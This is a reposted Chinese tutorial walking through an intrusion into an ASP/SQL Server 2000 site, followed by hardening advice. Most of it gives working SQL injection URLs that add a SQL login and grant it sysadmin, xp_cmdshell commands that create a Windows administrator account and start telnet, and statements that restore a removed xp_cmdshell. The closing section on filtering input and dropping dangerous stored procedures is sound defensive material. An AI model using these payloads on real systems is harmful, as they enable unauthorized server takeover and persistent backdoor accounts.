SQL注入中利用XP_cmdshell提权的用法(转)

时间:2024-01-02 16:13:14

先来介绍一下子服务器的基本情况,windows 2000 adv server 中文版,据称

打过了sp3,asp+iis+mssql 。首先扫描了一下子端口,呵呵,开始的一般步骤。

端口21开放: FTP (Control)
端口80开放: HTTP, World Wide Web
端口135开放: Location Service
端口139开放: NETBIOS Session Service
端口1433开放: Microsoft-SQL-Server

开了几个很经典的端口,应该说个个都很经典啊。既然确定好了端口,那就有
针对性地扫描一下看看开了什么共享么,faint,老兄把ipc$,admin$,c$,d$都
给关掉了,扫描nt的弱口令就没有实际意义了。然后呢就看看iis是否有什么
漏洞,用x_scan扫了一下,没有发现什么可以利用的漏洞。然后就来看看1433
的sql是否有什么漏洞,首先扫了一下弱口令,没有,先还是不暴力破解吧,一
般都是先礼后兵的,暴力的就留到最后了。最近sql server 有个Resolution服
务远程栈缓冲区溢出漏洞,用这个来看看,试了一下子不行。原因可能是因为
我用的exploit对sp3不适用或者是已经做了安全设置。不过这问题还是先记录
下来了。
再来看看ftp怎么样,
C:/Documents and Settings/Administrator>ftp 1.1.1.1
Connected to 1.1.1.1.
220 cwcserver Microsoft FTP Service (Version 5.0).
User (1.1.1.1:(none)): anonymous
331 Password required for anonymous.
Password:
530 User anonymous cannot log in.
Login failed.
ftp>
失败了。不支持匿名登陆的,不过这里也是一个安全隐患,可以通过暴力破解
ftp用户的密码来破解nt用户的密码。也记录下来了。好了,既然用了asp+sql
那就来看看asp编程方面有没有可以利用的东西了。到主页上面一看,有个新闻
发布系统。url如下:
http://1.1.1.1/news/default.asp?cataid=98986
先加个分号测试一下,url现在如下:
http://1.1.1.1/news/default.asp?cataid=98986
依然正常显示,并且和前面显示完全一样。这说明了没有过滤分号,大好消息。
再测试一下子单引号。现
在的url如下:
http://1.1.1.1/news/default.asp?cataid=98986
页面正常显示,不过不能够显示新闻列表。提示找不到资料。这说明单引号也没
有过滤。好了,希望大大的有了。估计xp_cmdshell也可以了,其他的存储过程
也都可以用了。不过这里这台服务器是关掉了所有的默认的共享。

想想有什么好办法能够获得shell呢。仔细考虑后我想到了两种方法,基本上是
大同小异。

方法一:
利用xp_cmdshell存储过程来添加windows用户,并提升到管理员权限。
然后依然利用xp_cmdshell来打开telnet服务。最后当然是登录上去了。

方法二:
利用sp_addlogin添加sql用户,同样还要提升权限。
再用查询分析器连接SQL Server,再利用xp_cmdshell打开telnet服务。
最后登录。

两种方法都能够得到shell,我就选择第二种方法。具体过程如下:

就往SQL Server里面添加一个用户吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回车后执行,浏览器自动补上了空格,变成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
页面依然正常显示,不过就算你打错了也会正常显示的,不能够判断究竟是
否成功。中间的20%吗,其实就是代表空格符的。上面也就相当于在查询分
析器里面执行:
use master;
dbo.sp_addlogin user;注:此处也可以为sp_addlogin user;前面的url里
面同样可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一样的。
现在我们已经添加了一个用户了,密码现在为空,这里就不管这么多了,反正也是
一个过渡的过程,就不加密码了。
如果要改密码,可以这样:dbo.password null,password,user;
dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,
user自然就是用户名了。而在我们这个测试中也就是这样子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主题,现在权限还是不够高,那么就开始提升权限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解释一下sysadmin的含义。SQL Server有八种固定服务器角色,具体如下:数据
库创建者(DBCREATOR),磁盘管理员(DISKADMIN),进程管理员(PROCESSADMIN),
安全管理员(SECURITYADMIN),服务器管理员(SEVERADMIN)安装管理员(SETUPADMIN)
,系统管理员(SYSADMIN),大容量管理员(BULKADMIN)当然最高权限的是系
统管理员(SYSADMIN),默认情况下sa也是系统管理员。
dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。

用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add

好了,我们现在已经实现了添加用户并且提升到sysadmin了。下面要做的是添加windows用户并且
开启telnet服务。
打开我的查询分析器,填入服务器地址,用户民和密码。连接成功了。尝试一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
记得分号是不可以少的哦。一切正常。显示出来了c:盘下的目录和文件。那就继续下去,
添加windows用户:
xp_cmdshell ‘net user awen /add‘;
设置好密码:
xp_cmdshell ‘net user awen password‘;
提升到管理员:
xp_cmdshell ‘net localgroup administrators awen /add‘;
开启telnet服务:
xp_cmdshell ‘net start tlntsvr‘
一个老问题就是还有ntlm这个拦路虎。
没问题,直接在肉鸡上也添加一个用户名和密码相同的账号然后再以这个帐号运行cmd就可以了。
具体的做法-----为cmd.exe创建一个快捷方式,右键点击,在"属性"里面钩上"以其他用户身
份运行"。ok,双击。输入刚才的用户名和密码。更加详细的做法清查看阿布的文章----
最快速登录WIN2K TELNET 服务,在这里可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了,可以telnet上去了,就写到这里,后面还进行了一些测试,都是大家所熟悉的就不写了。

二 回顾与思考

这次入侵测试要是说有难点的话那就是管理员把ipc$,admin$,c$,d$...都关掉了。
因此和以前很多的教程有点不同。比如说假设ipc$没有关闭的话,我们很轻松的
使用opentelnet这个工具来开telnet,并且也就没有了ntlm这个障碍。

再对前面的两种方法进行回顾,其实两种方法还是有区别的。
假如管理员把xp_cmdshell禁止了,第一种方法就无法进行下去了。
有人会说,第二种方法不是也一样要用到xp_cmdshell吗。
正确,不过我们还是有办法恢复过来。SQL server 2000的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘
SQL Server 7.0的恢复方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘
你在2000下面是找不到xpsql70.dll的,同样7.0下面也是找不到xplog70.dll。
把第二种方法也写出来,没有测试,仅供大家参考:
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录

三 就本例谈谈怎样进行安全防范

上面所讲的是一个特定的例子,但是反应了一个问题,世界上没有绝对的安全。
安全是有很多很多细节所组成起来的。上面例子中的管理员已经做了一些必要的安全措施。
补丁打得也很及时,但是依然存在着很大的问题。不仅仅是asp没有过滤掉特殊字符。还有一些
比较严重的问题,比如说开启了ms ftp服务,这样入侵者就可以通过暴力破解ftp密码来获得
windows的密码。
如果要谈2000的安全设置,要写上厚厚的一本书也可以。下面仅仅就这个例子中来谈谈。

asp编程要注意的一些问题:
1 涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,
2 涉及到与数据库连接地用户名与口令应给予最小的权限。如本例,事后问了朋友,
他使用的是sa用户,因此我能够运行很多的存储过程。
3 屏蔽很多特殊字符,如; ‘这种危险的字符必须要给过滤掉。
4 在处理类似留言板、BBS等输入框的ASP程序中,最好屏蔽掉HTML、javascript、VBScript
语句,如无特殊要求,可以限定只允许输入字母与数字,屏蔽掉特殊字符。同时对输入字符
的长度进行限制。而且不但在客户端进行输入合法性检查,同时要在服务器端程序中进行类
似检查。
5 要使用access的话,千万注意到保护好你的mdb文件,别让别人下载。

SQL SERVER的安全
本例中SQL SERVER的设置也存在着很多的问题。比如很多存储过程没有drop,是这次入侵中的
功臣,也是安全的极大的隐患。
1 使用安全的密码策略
2 及时更新补丁程序。
 与windows一样,SQL SERVER的许多漏洞会由补丁程序来弥补。建议在安装补丁程序之前先
在测试机器上做测试,同时提前做好目标服务器的数据备份。而很多管理员往往不注意给SQL
SERVER打补丁。最近就有Resolution服务远程栈缓冲区溢出漏洞,很多站点都没有注意到。
3 严格控制数据库用户的权限,轻易不要给让用户对表有直接的查询、更改、插入、删除权限,
可以通过给用户以访问视图的权限,以及只具有执行存储过程的权限。在上面也提到了。
4 把危险的和不必要的存储过程删除,
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可以通过下述SQL语句
use master
sp_dropextendedproc ‘xp_cmdshell‘
不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000)
xpsql70.dll(sql serer 7.0)
以下存储过程也很危险
xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得
服务器名称。
去掉不需要的注册表访问的存储过程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
如果你不需要请丢弃OLE自动存储过程,这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop